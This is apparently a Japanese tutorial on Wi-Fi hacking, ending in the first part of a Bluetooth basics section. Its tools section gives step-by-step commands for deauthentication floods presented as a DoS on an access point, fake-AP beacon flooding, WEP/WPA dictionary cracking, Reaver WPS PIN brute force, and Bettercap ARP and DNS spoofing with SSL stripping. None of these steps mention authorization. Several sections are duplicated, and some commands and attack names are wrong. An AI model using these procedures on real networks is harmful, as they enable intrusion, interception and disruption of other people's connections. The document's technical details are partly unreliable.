1 - 1. 無線LAN(WIFI)基礎

WIFIのハッキングに関して

1.1 - 1. Wifi攻撃の基礎知識

基本中のキホン

1.1. WIFIクラッキングの基礎知識

1.1.1. WiFIとは

IEEE802.11標準に基づくWLANのこと。

詳細はコチラから。

1.2.1. WIFIのクラッキングの種類

WIFIクラッキングは不正使用盗聴/中間者攻撃に分けられる。

不正使用

不正使用を行うにはAPのスキャニングが必要となる。
具体的にはWIFIを検出するデバイス(PCやスマホ)となる。

WIFIチョーキング

WIFIチョーキングは不正使用可能なAPをマーキングして共有すること
WIFIチョーキングの手法には以下のようなことがある。

  • ウォーウォーキング … 徒歩でオープンなWIFIを検出
  • ウォーフライング … ドローンを使用してオープンなWIFIを検出
  • ウォードライビング … 車を使用してオープンなWIFIを検出

盗聴/中間者攻撃

盗聴/中間者攻撃には以下のようなことがある。本稿これ以下ではこの手法に関してのヒントを記載する。

  • 不正APの設置 … APモードが必要
    • 接続したユーザの通信の監視 … Wiresharkなどの使用
    • 中間者攻撃の設置
  • 無線盗聴
    • 無線経路上のデータを傍受
    • 通信内容の盗聴(暗号解読の必要)

1.2.2. WIFIセキュリティの基本

暗号化規格

4Wayハンドシェイク

4Wayハンドシェイクは現在の一般家庭WIFIルータで広く使用されている規格であるWPA-PSKで使用されている手続き。

この手法によりクライアントは PTK (Pairwise Transient Key) と GTK (Group Temporal Key) という 2 種類の鍵をインストールする。

  • PTK … ユニキャスト暗号・復号用の鍵
  • GTK … マルチキャストおよびブロードキャスト暗号・復号用の鍵

4Wayハンドシェイク

クライアントとアクセスポイントはそれぞれ、事前に共有したパスワード(PSK)とアクセスポイントの ESSID から PMK (Pairwise Master Key) を計算する。

4Wayハンドシェイクの手順は以下の通り。

  1. アクセスポイントはランダムな値 ANonce を決めクライアントに送信する
  2. クライアントも同様にランダムな値 SNonce を決定し、PMK, 受け取ったANonce, SNonce, アクセスポイントの MAC アドレス, クライアントの MAC アドレスから PTK (Pairwise Transient Key) を計算する
  3. クライアントは SNonce と メッセージのペイロードと PTK から計算した MIC (Message Integrity Code) をアクセスポイントに送信する
  4. アクセスポイントは SNonce を受け取った後、クライアントと同様に PTK の計算および MIC の検証(MIC を計算し一致するか確認)を行う
  5. ANonce、マルチキャスト通信の暗号化に使用する鍵 GTK (Group Transient Key) および MIC をクライアントに送信する
  6. クライアントは ANonce、GTK および MIC を受け取った後、MIC の検証を行う
  7. ここまでで問題がなければ MIC のみを設定したメッセージ をアクセスポイントに返送する

ステップ4でクライアントの PSK が正しくない場合や、メッセージが改ざんされていた場合に検知することができる。 また、ステップ6でクライアントは不正なアクセスポイントに接続しようとしていないかを確認することができる。

SAEハンドシェイク

SAEハンドシェイクはWPA3において4Wayハンドシェイクを行う前に行われる手続きでWPA3に利用されている。

SAEハンドシェイク

1.2.3. WIFIアダプタの動作モード

WIFIクラッキングを行う場合WIFIアダプタはMonitorモードInjectionモードに対応している必要がある。
通常のWIFIアダプタはManagedモードのみに対応している。

Managedモード

Managedモードは通常の無線クライアントデバイスとして動作するモード
このモードは一般的に通常のWi-Fi接続に使用される。

Monitorモード

Monitorモードはパケットキャプチャやネットワークトラフィックの監視に対応しているモード
このモードではデバイスはアクセスポイントに接続せず、周囲のWi-Fiトラフィックを受信できる。
セキュリティ診断やネットワークトラブルシューティングなどで使用可能。

Monitorモードでキャプチャされるデータは、暗号化されたままのデータ(MACヘッダ+データ部+FCS)となる。 他、入手可能な情報として、受信した電波の強さや伝送速度などがある。

具体的に可能なことは以下の通り。

  • 周囲のWifiネットワークのSSIDやそこに繋がれているクライアントデバイス情報の取得
  • 行き来しているデータ/パケットを読むことによるパケットの解析
  • ARPテーブルを外部から操作するパケットの注入してから中間者攻撃でネットワーク通信の真ん中に入り、HTTPSに対する攻撃であるSSLStripからトロイの木馬へのすり替えを行う

Injectionモード

Injectionモードはセキュリティテストやハッキングのコンテキストで使用されるモードでネットワークにデータパケットを注入する機能がある
このモードは通常セキュリティ研究や評価の一環として、ネットワークの脆弱性をテストするために使用される。

1.2.4. モード対応WIFIアダプタの入手方法

Monitor/Injectionモードに対応しているWIFIアダプタの入手にはWIFIアダプタ内のチップセットが重要となる。
そのためメーカやモデルよりも搭載されたチップセットを気にする必要がある。

対応アダプタを調べるために役に立つサイトを以下に記載する。

Aircrack-ng | DEPRECATED

1.2.5. WIFIルータの動作モード

WIFIルータにはAPモード(アクセスポイントモード)とRTモード(ルータモード)、WBモード(ブリッジモード)がある。

APモード

APモードは無線LANにおいて複数のクライアントをネットワークに接続するための電波を受けるモード
アクセスポイントとして動作するワイヤレスなL2通信モード(スイッチングハブ)といえる。

RTモード

RTモードはAPモードの機能に加えてルーティング機能も併せ持つモード
WANを含む異なるネットワークにつなぐ場合に必要な機能で、ワイヤレスなL3通信モード(ルータ)といえる。

WBモード

WBモードはルータをネットワーク自体の中継器にするためのモードブリッジとして動作するといえる。

1.3. WIFIの脆弱性への攻撃

WIFIの脆弱性に対する代表的な攻撃を一部記載する。

1.3.1. ディア・ジャミング攻撃

ディア・ジャミング攻撃は攻撃者がクライアントデバイスをネットワークから切断するために使用される攻撃手法のこと。
この攻撃により攻撃者はクライアントデバイスとアクセスポイントの通信を中断し、クライアントをネットワークから切り離すことができる。

具体的な内部動作としては、攻撃者端末はディア・ジャミング攻撃を実行するために特定のディア・アソシエーションフレームを送信する。
これにより、クライアントデバイスは一時的にネットワークから切断され再接続が必要な状態となる。この性質を悪用したものとなっている。

つまりこの攻撃はネットワークの適切な利用を妨害することが目的としてある。

1.3.2. Krack攻撃

Krack攻撃はWPA2暗号化プロトコルに対する攻撃クライアントとアクセスポイント間の暗号鍵を再インストールし通信を盗聴する中間者攻撃の一種。

具体的には攻撃者は中間者として振る舞い、暗号化鍵の再インストールを誘導する。
これにより攻撃者は通信を解読でき、通信の内容を盗聴できるというものになる。

Krack攻撃の目的はWPA2によって保護されているネットワーク通信を妨害し、機密情報を盗聴することになる。

Krack攻撃の仕組み

KRACK攻撃は4wayハンドシェイクの4Wayハンドシェイクの完了メッセージ①送信を中間者攻撃により意図的に止めることにより、ANonce、マルチキャスト通信の暗号化に使用する鍵 **GTK** (Group Transient Key) および MIC をクライアントに送信するメッセージ②を再送させる。

Krack

Krack攻撃はこのメッセージ③を再送させ続けることで TK をずっと同じものを使わせることが特徴となる。
この際の 同じ nonceや TK、同じパターンのnonceで暗号化されたフレームを解析することでパターンを解析し盗聴できるようにするものといえる。

1.3.3. PMKID攻撃

PMKID(Pairwise Master Key Identifier)攻撃はWPA/WPA2暗号化プロトコルに対する攻撃で暗号化キーを抽出しようと試みる攻撃
攻撃者はPMKIDを収集し、ブルートフォース攻撃を使用して暗号化キーを推測する。
この攻撃は事前共有鍵を狙い、パスワードの破解を試みるというものである。

1.3.4. Evil-twins攻撃

Evil-Twin攻撃は、攻撃者が合法的なアクセスポイント(AP)と同じSSID(ネットワーク名)を使用して偽のAPを設定し、ユーザーを欺こうとする攻撃。
的なAPと同じに設定し、ユーザーが接続すると、攻撃者は通信を傍受し機密情報を取得できるようにする。

1.2 WIFIセキュリティの仕組み

1.2.1. WEP

WEPはLANと同等のセキュリティーレベルをWLANで提供することを目的としたセキュリティ規格。 脆弱性が重大であるため使用が非推奨となっている。

WEPはデータの暗号化に単一の暗号鍵を使用しこの暗号鍵は定期的に変更されないため、セキュリティが脆弱となっている。 また、WEPの鍵の長さが短く予測可能なパターンを持つため、攻撃者が鍵を簡単に解読できる可能性が高い

WEPの脆弱性により、攻撃者はネットワークトラフィックを傍受し、暗号化されたデータを解読することが可能となっている。

1.2.2. WPA

1.2.3. WPA2

WPA2-PSK

WPA2-PSK(WPA2パーソナル)は端末と無線APで事前に設定されている共通のパスフレーズを使って認証する方式

WPA-PSK

WPA2-PSKではPSKを元にMSK(Master Session Key)を生成し、MSKの先頭256bitをPMKとして利用する。
この手法から同一のSSID配下のクライアントのPMKは同一となる

WPA2-PSKでは4way handshakeの通信を傍受することで、PSKを推測するための情報が収集でき、辞書攻撃によるパスワード解析が可能となる。

WPA2-EAP

WPA2-EAP(WPA2エンタープライズ)はEAPを使い認証サーバによる認証をする方式

WPA2-EAPでは認証サーバにより端末ごとに個別のMSKが生成される
EAP認証が成功した後、生成されたMSKが端末に送信される。

1.2.4. WPA3

WPA3-Personal

WPA3-Enterprise

1.2.5. WPS

WPSは無線LAN端末と無線ルーターをボタン1つで簡単に設定するための規格

基本的にWPSでは、アクセスポイントとクライアントが一連のEAPメッセージを交換する。
このトランザクションの終了時に、クライアントは暗号化キーとAPの署名を取得し、暗号化されたネットワークに接続できるようになる。

1.3. WIFIの脆弱性への攻撃

WIFIの脆弱性に対する代表的な攻撃を一部記載する。

1.3.1. ディア・ジャミング攻撃

ディア・ジャミング攻撃は攻撃者がクライアントデバイスをネットワークから切断するために使用される攻撃手法のこと。
この攻撃により攻撃者はクライアントデバイスとアクセスポイントの通信を中断し、クライアントをネットワークから切り離すことができる。

具体的な内部動作としては、攻撃者端末はディア・ジャミング攻撃を実行するために特定のディア・アソシエーションフレームを送信する。
これにより、クライアントデバイスは一時的にネットワークから切断され再接続が必要な状態となる。この性質を悪用したものとなっている。

つまりこの攻撃はネットワークの適切な利用を妨害することが目的としてある。

1.3.2. Krack攻撃

Krack攻撃はWPA2暗号化プロトコルに対する攻撃クライアントとアクセスポイント間の暗号鍵を再インストールし通信を盗聴する中間者攻撃の一種。

具体的には攻撃者は中間者として振る舞い、暗号化鍵の再インストールを誘導する。
これにより攻撃者は通信を解読でき、通信の内容を盗聴できるというものになる。

Krack攻撃の目的はWPA2によって保護されているネットワーク通信を妨害し、機密情報を盗聴することになる。

1.3.3. PMKID攻撃

PMKID(Pairwise Master Key Identifier)攻撃はWPA/WPA2暗号化プロトコルに対する攻撃で暗号化キーを抽出しようと試みる攻撃
攻撃者はPMKIDを収集し、ブルートフォース攻撃を使用して暗号化キーを推測する。
この攻撃は事前共有鍵を狙い、パスワードの破解を試みるというものである。

1.3.4. WPSピン攻撃

WPSピン攻撃はWPSのPINコードを解読しようとうする攻撃
WPSはネットワーク接続を簡略化するための仕組みで、通常はPINを使用してデバイスをネットワークに接続する。
WPSピン攻撃は、WPSのPINコードを解読することでネットワークにアクセスできるというものになる。

この攻撃では通常ブルートフォースアタックでWPSピンコードを試行することとなる。

1.3.5. Evil-twins攻撃

Evil-Twin攻撃は、攻撃者が合法的なアクセスポイント(AP)と同じSSID(ネットワーク名)を使用して偽のAPを設定し、ユーザーを欺こうとする攻撃。
攻撃者は目標ユーザーが接続しやすいようにSSIDを合法的なAPと同じに設定し、ユーザーが接続すると、攻撃者は通信を傍受し機密情報を取得できるようにする。

1.4. WIFIのセキュリティへの攻撃

1.4.1. WEPへの攻撃

WEPキーの解読

WEPキーの解読のための一般的な攻撃には、鍵を総当たりで試行する方法(Brute Force攻撃)や、パケットの収集と統計的な手法(統計的攻撃)がある。

ARPリプレイ攻撃

既知のARPパケットを再生し、WEPキーを取得しようとするWEPの脆弱性を利用した攻撃が可能となっている。

1.4.2. WPAへの攻撃

TKIPの解読

WPAはTKIPと呼ばれる一時的な鍵管理プロトコルを使用してデータを暗号化する。
TKIPは時間が経過するにつれて弱体化するため、高度な攻撃よって解読される場合がある。

WPS攻撃

WPAのネットワークではWPSが有効になっている場合、PIN攻撃などの方法でWPSを乱用しネットワークにアクセスすることができる可能性がある。
これにより設定されたWPAパスワードが無視できる。

1.4.3. WPA2-PSKへの攻撃

ブルートフォースアタック

WPA2-PSKネットワークの最も一般的な攻撃方法はブルートフォースアタックとなる。
これは攻撃者がすべての可能なパスワード組み合わせを試すことを意味する。
強力なパスワードを使用している場合この攻撃は非常に困難となるが、弱いパスワードを使用している場合は攻撃が成功する可能性が高くなる。

辞書攻撃

辞書攻撃では攻撃者は一般的なパスワードや辞書内の単語のリストを使用してネットワークにアクセスしようとする。

ハンドシェイク攻撃

WPA2-PSKではクライアントとアクセスポイント間で安全なハンドシェイクが行われる。
このハンドシェイクをキャプチャすることでオフラインで解析しようとする攻撃もある。

強力なパスワードを使用している場合でも、ハンドシェイク攻撃に対する保護が不十分な場合はこの攻撃が有効になる場合がある。

1.2 - 2. Wifi攻撃のツールの使用方法

Wifiの攻撃ルールの紹介

2.1. AirCrack-ng

2.1.1. AirCrack-ngとは

Aircrack-ngはワイヤレスネットワークのセキュリティテストおよび解析を行うためのCLIツール。 Kali Linuxに標準搭載されている。 主にワイヤレスネットワークのセキュリティ強化と脆弱性診断に使用される。

具体的にはIEEE802.11のWEP/WPA-PSKキーのクラッキングが行える。

公式ドキュメント:https://www.aircrack-ng.org/doku.php

可能なことや特徴は以下の通り。

  • パスワードクラッキング
    • WEP/WPA/WPA2などのWIFI暗号化キーを解読する事が可能
  • ハンドシェイクキャプチャ
    • ワイヤレスネットワークのハンドシェイクトラフィックをキャプチャしそれを解析することが可能
  • スニッフィング
    • ワイヤレスネットワーク上のトラフィックをキャプチャし分析することが可能。
  • 無線ネットワークのテスト
    • 無線ネットワークの脆弱性をテストが可能

2.1.2. AirCrackの関連コマンド

公式ドキュメントはコチラから。

iwconfigコマンド(AirCrack搭載ではない)

無線LANインタフェースの参照・設定などができるLinuxシェル。

公式ドキュメント: https://linux.die.net/man/8/iwconfig

iwconfig # ネットワークアダプタ一覧の確認
iwconfig <インターフェイス> # インターフェイスの状態確認
iwconfig <インターフェイス> mode < managed | moniter > # モード切替え

airmon-ngコマンド

モニターモードを扱うためのコマンドレット。

airmon-ng <start|stop> <interface> [channel] or airmon-ng <check|check kill>

公式ドキュメント: https://www.aircrack-ng.org/doku.php?id=airmon-ng

airmon-ng check # airmon-ng へ影響を与える全プロセスの確認
airmon-ng check kill # airmon-ng へ影響を与える全プロセスの強制終了
airmon-ng start <インターフェイス> # モニターモードの開始
airmon-ng stop <インターフェイス>mon # モニターモードの無効化

NetworkManager等のネットワーク管理プロセスが立ち上がっている場合、airmon-ng の動作が阻害されることがある。 そのための確認などを行う時に使用する。なおすべて停止させるにはairmon-ng check killを行う。

airodump-ngコマンド

パケットキャプチャ/スニッフィングに使用されるコマンドレット。

airodump-ng <options> <interface>[,<interface>,...]

公式ドキュメント: https://www.aircrack-ng.org/doku.php?id=airodump-ng

airodump-ng <インターフェイス> # 無線状況の確認などができる
airodump-ng -c 6 --bssid 00:0F:8F:44:21:80 -w test-psk wlan0mon # wlanをモニターモードでチャンネル6のBSSID 00:~をtest-psk.capにパケットキャプチャし書き込む

aircrack-ngコマンド

WEP および WPA/WPA2-PSK キークラッキングプログラム実行用コマンドレット。

aircrack-ng [options] <capture file(s)>

# WPA/WPA2の辞書攻撃
aircrack-ng -w [wordlist] [pcap]

公式ドキュメント: https://www.aircrack-ng.org/doku.php?id=aircrack-ng

airbase-ngコマンド

偽のアクセスポイントを設定するコマンドレット。

airdecap-ngコマンド

WEP/WPA/WPA2の暗号化を解くためのコマンドレット。

aireplay-ngコマンド

パケットインジェクションを行うためのコマンドレット。

aireplay-ng -9 <インターフェイス>

# Deauth(認証解除攻撃)をMACアドレスのアクセスポイントに実行
# Essidの非表示のAPの表示化に使える
aireplay-ng -0 20 -a [MACアドレス] [インターフェイス]

2.1.3. AirCrack-ngの使い方

ESSIDが非表示のネットワークを見る方法

# モニターモードで以下を実行
airmon-ng start wlan0
# WIFi状況の確認
airodump-ng wlan0mon
# Ctrl+Cで非表示ネットワークを確認
# BSSIDとCHをメモする
airodump-ng -c [チャンネル] --bssid [BSSID] wlan0mon
# 上記コマンドで観測を行う

# 別ウィンドウでDeauth攻撃を行う
aireplay-ng -0 [パケット数] -a [BSSID] wlan0mon

MACアドレスの偽装(macchanger)

MACアドレスの偽装例は以下の通り。 なおMACアドレスは偽装しても再起動後にデフォルトのMACアドレスに戻る。

ifconfig wlan0 down
macchanger -r wlan0
macchanger -m [偽装MAC] wlan0
ifconfig wlan0 up

アクセスポイントに対するDoS攻撃

# モニターモードで以下を実行
airmon-ng start wlan0
# WIFi状況の確認
airodump-ng wlan0mon
airodump-ng wlan0mon
# Ctrl+Cで非表示ネットワークを確認
# BSSIDとCHをメモする
airodump-ng -c [チャンネル] --bssid [BSSID] wlan0mon
# 上記コマンドで観測を行う

# 別ウィンドウでDeauth攻撃を行う
aireplay-ng -0 [パケット数(膨大)] -a [BSSID] wlan0mon

沢山の偽のアクセスポイント

mdk3 wlan0mon b -c [チャンネル] -f [ESSIDの名前リストファイル]

WEPに対する攻撃

2.8. 具体的な攻撃手法を参照。

2.2. coWPatty

2.2.1 coWPattyとは

coWPattyはワイヤレスネットワークのセキュリティを解析するための静的解析ツールの一つ。 具体的には、WPAおよびWPA2暗号化を使用して保護されているWi-Fiネットワークのパスワードを解析しようとするために使用できる。

このツールは、WPA/WPA2のパスワードをブルートフォース攻撃で求めるように設計されている。 そのため解析に非常に時間がかかる場合がある。しかし強力なコンピュータリソースや事前に収集したハンドシェイクキャプチャデータを使用することで、効果的にWPA/WPA2のパスワードを解析することができる。

2.2.2. coWPattyの関連コマンド

公式ドキュメントはコチラから。

2.3. Reaver

2.3.1. Reaverとは

ReaverはWIFiアクセスポイントへのWPSピン攻撃をブルートフォースで実行するツール。

https://github.com/t6x/reaver-wps-fork-t6x

2.4. Pixiwps

2.3.2. Pixiwpsとは

PixeWPS は、WPSトランザクション中にキー交換を総当たり攻撃するツール。

2.5. Wifite

2.5.1. Wifiteとは

Wifiteはターミナルからコマンドを使用して無線LANへのペネトレーションテストを行うツール。 特徴は以下の通り。

  • WLANのスキャンと暗号化方式、信号強度などの情報取得
  • Wi-Fiネットワークをスキャン、脆弱性を見つけるプロセスの自動化
  • WEP、WPA、WPA2、WPSへの攻撃サポート
  • ブルートフォースアタック、WPSピン攻撃、辞書攻撃へのサポート

Wifiteのコマンド

基本形は以下の通り。

wifite <オプション>
オプション説明
-hヘルプ
-vその他のオプション表示
-i <インターフェイス>使用するインターフェイスの指定
-c <チャンネル>スキャンするチャンネルの指定
-inf無限攻撃モードの有効化
-macワイヤレスカードのMACアドレスをランダム化
-p <スキャン時間(s)>スキャン時間の後にすべてのターゲットを攻撃する
-killAirmon/Airodumpと競合するプロセスをキルする
-pow <最低シグナル強度>最低シグナル強度以上の以上の信号強度を持つターゲットを攻撃
-skip-crackキャプチャーされたハンドシェイク/pmkidのクラッキングをスキップする
-first <ターゲット>最初のターゲットを攻撃する
-clients-only関連するクライアントを持つターゲットのみを表示
-nodeauthsパッシブモード。クライアントの認証を解除しない
-daemon終了後、デバイスをマネージドモードに戻す
オプション説明
WEP
-wepWEPで暗号化されたネットワークのみを表示
-require-fakeauthfake-authが失敗した場合、攻撃を失敗させる
-keep-ivs.IVSファイルを保持し、クラック時に再利用する
WPA
-wpaWPAで暗号化されたネットワークのみを表示(WPS含む)
-new-hs新しいハンドシェイクをキャプチャし、hsにある既存のハンドシェイクを無視する
-dict <ファイル>クラッキング用のパスワードを含むファイル指定
WPS
-wpsWPS対応のネットワークのみを表示
-wps-onlyWPS PINとPixie-Dust攻撃のみを使用
-bullyWPS PINやPixie-Dustの攻撃にいじめっ子プログラムを使用
-reaverWPS PINおよびPixie-Dust攻撃にreaverプログラムを使用
-ignore-locksAPがロックされてもWPS PIN攻撃を停止しない
PMKID
-pmkidPMKIDキャプチャのみを使用し、他のWPSおよびWPA攻撃を回避する
-no-pmkidPMKIDキャプチャーを使用しない
-pmkid-timeout <秒>PMKID capturevを待つ時間の指定
COMMANDS
-cracked今まで割れていたアクセスポイントを表示する
-check <ファイル(hs/*.cap)>.capファイル(またはすべてのhs/*.capファイル)のWPAハンドシェイクをチェックする
-crackキャプチャしたハンドシェイクをクラックするコマンドを表示

Wifiteの基本的な使い方

  1. wifiteの実行
  2. ターゲットのアクセスポイントが表示されたらCtrl+Cで停止する
  3. ターゲットのアクセスポイントの番号をCUI上に入力する
  4. パスワードクラシックの開始(時間(数時間)がかかる場合あり)

2.6. fern Wifi Cracker

fern Wifi CrackerはPythonで書かれたWIFIセキュリティ監査/ペネトレーションテスト用のGUIプログラム。 WEP/WPA/WPSキーのクラックとWLAN/Ethernetネットワークに対する攻撃が可能

特徴は以下の通り。

  • フラグメンテーション,ChipChop,Caferate,ARPリクエストリプレイ,WPS攻撃によるWPSクラッキングの対応
  • 辞書/WPSベースのWPA/WPA2への攻撃
  • クラッキングの成功時の鍵のデータベース自動保存
  • 自動AP攻撃の実行
  • ブルートフォースアタックの対応

2.7. BetterCap

Wi-Fi、BLE、ワイヤレスデバイス、イーサネットに対してスキャンやクラッキングを行うことのできるツール。 中間者攻撃を検証する際に利用できる。特徴は以下の通り。

https://www.bettercap.org/intro/

  • ARPスプーフィング、DNSスプーフィング、DHCPv6スプーフィング
  • JavaScriptプラグインで拡張可能なHTTP/HTTPSなどのプロキシ機能
  • クレデンシャル収集のためのネットワークスニファ機能
  • ポートスキャン機能
  • Wi-FiやBLEに対するスキャンやクラッキングの機能

基本的な使い方

起動

# BetterCapの利用
sudo bettercap -iface [インターフェース]

# 攻撃対象の確認(ARPテーブルの情報を表示)
net.show
# サブネット内の全IPアドレスに対してARPリクエストをブロードキャストする
net.probe [on | off]

ARPスプーフィング

## ARPスプーフィングの開始
set arp.spoof.fullduplex true
set arp.spoof.targets [IPアドレス]
arp.spoof [on | off]
# ARPスプーフィング開始後はWiresharkで通信を確認する

DNSスプーフィング

DNSスプーフィングのためにはどのドメイン名に対してどのIPアドレスに誘導するかを設定する必要がある。 方法は以下の2通り

  • インタラクティブシェル上からdns.spoof.addressdns.spoof.domainsを設定する方法
  • ドメイン名とIPアドレスを記述したファイルをあらかじめ作成してdns.spoof.hostsに読み込ませる方法

1番目の方法を解説。

set dns.spoof.domains [ドメイン名],[ドメイン名]...
set dns.spoof.address [IPアドレス]
set dns.spoof.all true
dns spoof [on|off]

2番目の方法を解説。

  1. spoof.hostsを作成(www.google.comなど書く)
  2. set dns.spoof.hosts ./[ファイル名]で設定を読み込む
  3. get dns.spoof.hostsで設定を確認
  4. dns spoof [on|off]でDNSスプーフィングを実行

透過型HTTPプロキシ

なお以下コマンドで建てた透過型プロキシではほとんどの場合は、httpsに対応したいサイトではHSTSが検知してしまう。

set http.proxy.sslstrip true
set net.sniff.verbose false
set arp.spoof.targets [IPアドレス]
arp.spoof on
http.proxy on
net.sniff on
SSLストリッピングとHSTSバイパスを行うHTTPプロキシ

以下手法ではSSLにおいてWWWからサブドメインが始まるURLのほとんどにTLS化が行われていることを利用して、ターゲットのFDQNをwwwからwwwwに変更を行い、名前解決をBettrecap側で行わせるものとなる。

sudo bettercap -I [インターフェイス] -X --gateway [ルータのIPアドレス] --target [IPアドレス] --proxy --parsers POST

2.8. 具体的な攻撃手法

2.8.1. WEPに対する攻撃 (airmon-ngの使用)

攻撃の種類はWEPキーの解読となる。 なお、攻撃対象はAPと端末が通信している必要がある

また途中で解析が止まった場合は以下の可能性がある。

  • パケット解析結果が少ない
  • 対象ルータへのアクセスが少ない

使用ツール/ファイル

  • ハードウェア
    • Monitorモード対応WIFIアダプタ
  • ソフトウェア
    • airmon-ng

攻撃手段

  1. 以下手順により攻撃対象のAPのBSSIDとChannnel情報、パケット情報を収集
    • WIFIアダプタをMonitorモードに変更
      • ifconfig <インターフェイス> down
      • iwconfig <インターフェイス> mode monitor
      • ifconfig <インターフェイス> up
      • iwconfig <インターフェイス>で確認
    • sudo airodump-ng <インターフェイス>でMonitorモード動作/BSSID/チャンネル情報の確認
    • sudo airodump-ng -c <チャンネル番号> --bssid <BSSID> -w <作成したいパケットファイル名> <インターフェイス>でパケット情報収集(任意時間):※Dataが多くたまる必要あり
  2. sudo airodump-ng <作成したいパケットファイル名>-01.capでパスワード解析開始(時間がかかる)

2.8.2. WPAに対する辞書攻撃 (fern Wifi Crackerの使用)

攻撃には辞書データが必要

パスワードの辞書ファイル例は以下より。

SecLists | https://github.com/danielmiessler/SecLists

またKali Linuxの/usr/share/wordlists/以下にも辞書ファイルがある。 おすすめはrockyou.txt

使用ツール/ファイル

  • ハードウェア
    • Monitorモード対応WIFIアダプタ
  • ソフトウェア
    • fern Wifi Cracker
  • 必要なデータ
    • 辞書攻撃用の辞書ファイル

攻撃手順

  1. fern Wifi Crackerの起動
  2. 使用するWIFIアダプタを選択しrefreshを行う
  3. Tips-Scan settingの画面でokを押す
  4. Wifi WPAボタンを押す
  5. ターゲットのネットワーク名を選択する
  6. 左下のBrowseボタンで辞書ファイルを選択
  7. Attackボタンで攻撃を開始する

2.8.3. WPA2-PSKに対する辞書攻撃 (airmon-ng, cowpatty, genpmkの使用)

この攻撃は辞書攻撃となるため攻撃には辞書データが必要。 なお攻撃対象はAPと端末が通信している必要がある

パスワードの辞書ファイル例は以下より。

SecLists | https://github.com/danielmiessler/SecLists

またKali Linuxの/usr/share/wordlists/以下にも辞書ファイルがある。 おすすめはrockyou.txt

使用ツール/ファイル

  • ハードウェア
    • Monitorモード対応WIFIアダプタ
  • ソフトウェア
    • airmon-ng
    • genpmk
    • cowpatty
  • 必要なデータ
    • 辞書攻撃用の辞書ファイル

攻撃手順

  1. 以下手順により攻撃対象のAPのBSSIDとChannnel情報、パケット情報を収集
    • WIFIアダプタをMonitorモードに変更
      • ifconfig <インターフェイス> down
      • iwconfig <インターフェイス> mode monitor
      • ifconfig <インターフェイス> up
      • iwconfig <インターフェイス>で確認
    • sudo airodump-ng <インターフェイス>でMonitorモード動作/BSSID/チャンネル情報の確認
    • sudo airodump-ng -c <チャンネル番号> --bssid <BSSID> -w <作成したいパケットファイル名> <インターフェイス>でパケット情報収集(任意時間)
  2. レインボテーブルの作成
    • genpmk -f <辞書ファイル> -d <作成したいレインボテーブル名> -s <任意のSSID名>でレインボテーブルの作成
  3. レインボテーブルによるパスワード解析
    • cowpatty -r <パケットキャプチャファイル(.cap)> -d <作成したレインボテーブル> -s <任意のSSID名>によりパスワード算出

2.8.4. WPSに対するWPSピン攻撃 (reaverの使用)

この攻撃はWPSピン攻撃となるため攻撃にはルータがWPSに対応している必要がある。 なお攻撃に時間がかかる場合がある。

使用ツール/ファイル

  • ハードウェア
    • Monitorモード対応WIFIアダプタ
  • ソフトウェア
    • reaver

攻撃手順

  1. 以下手順により攻撃対象のAPのBSSIDとChannnel情報を収集
    • WIFIアダプタをMonitorモードに変更
      • ifconfig <インターフェイス> down
      • iwconfig <インターフェイス> mode monitor
      • ifconfig <インターフェイス> up
      • iwconfig <インターフェイス>で確認
    • sudo airodump-ng <インターフェイス>でMonitorモード動作/BSSID/チャンネル情報の確認
  2. 脆弱なWPSが実装されたAPを見つける
    • wash -i <インターフェイス>monで脆弱なWPS実装を見つけBSSID/チャンネルを記録する
  3. Reaverを起動しブルートフォースアタックを開始する
    • reaver -i <インターフェイス>mon -c <チャンネル> -b <BSSID> -vvにより攻撃開始
  4. もしWPS PIN を取得出来たらそれをメモし以下コマンドでWPAキーを取得する
    • reaver -i <インターフェイス>mon -b <BSSID> -vvNwL -c 1 -p <PIN>

なお3フェーズにおいてうまく行かなかった場合、reaver -i <インターフェイス>mon -c <チャンネル> -b <BSSID> -vv -L -N -d 15 -T .5 -r 3:15のように高度なオプションを装備してReaverがうまく攻撃できるようにできる。 オプションは以下の通り。

  • -L … ロックされたWPS状態の無視
  • -N … エラー検出後NACKパケットを送信しない
  • -d 15 … PINの試行間隔の設定(15s)
  • -T .5 … タイムアウト期間の設定(0.5s)
  • -r 3:15 … 3回の試行後15秒スリープ
  • -K … ピクシーダスト攻撃の有効化(Ralink・Broadcom・Realtek各社の無線LANチップに有効)

2 - 2. BlueTooth基礎

BlueToothのハッキングに関して

2.1 - 1. BlueTooth基礎知識

BlueToothの基礎知識

1.1. BlueToothの基礎知識

1.1.1. BlueToothとは

BluetoothとはIEEE802.15.1で規定された10m~100m以内の近距離で端末同士を1対1でワイヤレス接続することを想定して作られた近接無線通信技術である。
Ver3.0までのBluetooth Classic、Ver4.0以降のBLE(Bluetooth Low Energy)がある。

Bluetooth

1.1.2. Bluetoothの通信方式

BluetoothはBluetooth Classicまでがユニキャスト通信に対応、BLEがユニキャスト通信とブロードキャスト通信に対応している。

  • ユニキャスト通信
    • ペリフェラル … 1対1通信を要求するAD(アドバタイズ)を送信。接続時は子機として動作
      • 例) スマートウォッチやBlueToothイヤホンなど
    • セントラル … 1対1接続要求アドバタイズをスキャンし接続。接続時は親機として動作
      • 例) … スマホやタブレットなど
  • ブロードキャスト通信
    • ブロードキャスタ … ブロードキャスタ用アドバタイズを送信
      • 例) 温度センサーや位置ビーコンなど
    • オブザーバ … ブロードキャスト用アドバタイズのスキャン
      • 例) 表示機器、スマホ

ペリフェラルとセントラル

ペリフェラルとセントラルは双方向通信が可能となっており、一対一の対応関係確立後にデータ送信をする。 接続確立後はペアリングにて暗号化通信を行うことが可能。

ブロードキャスタとオブザーバ

ブロードキャスタとオブザーバは単方向通信のみ。 接続/ペアリングが行われないため暗号化通信はサポートしていない。

1.1.3. Bluetoothのセキュリティ

Bluetoothの認証/暗号化鍵交換

Bluetoothのセキュリティは認証/暗号化の鍵交換に関してペアリングボンディングがある。

ペアリング

ペアリングはセントラルとペリフェラル間のデータ暗号化(AWS-CCMや楕円曲線暗号が用いられる)のための鍵交換を行うもの。 この仕組みにより一度相互に認証したデバイス同士は、次回から電源を入れるだけで自動的に接続できる。

特徴は以下の通り。

  • 鍵は一時的にデータの暗号化に用いる
  • 鍵は再利用しない

ペアリングの種類は認証の有無で分けると以下の2種類がある。

  • 認証ペアリング … 中間者攻撃のリスクはないペアリング
  • 未認証ペアリング … 中間者攻撃のリスクがあるペアリング

また鍵の種類で分けると以下のようになる。

  • Bluetooth Classicのペアリング
    • Simple Secureペアリング(Simple Secure Pairing) … ECDH(楕円曲線ディフィ・ヘルマン)アルゴリズムの公開鍵交換方式を利用し交換される
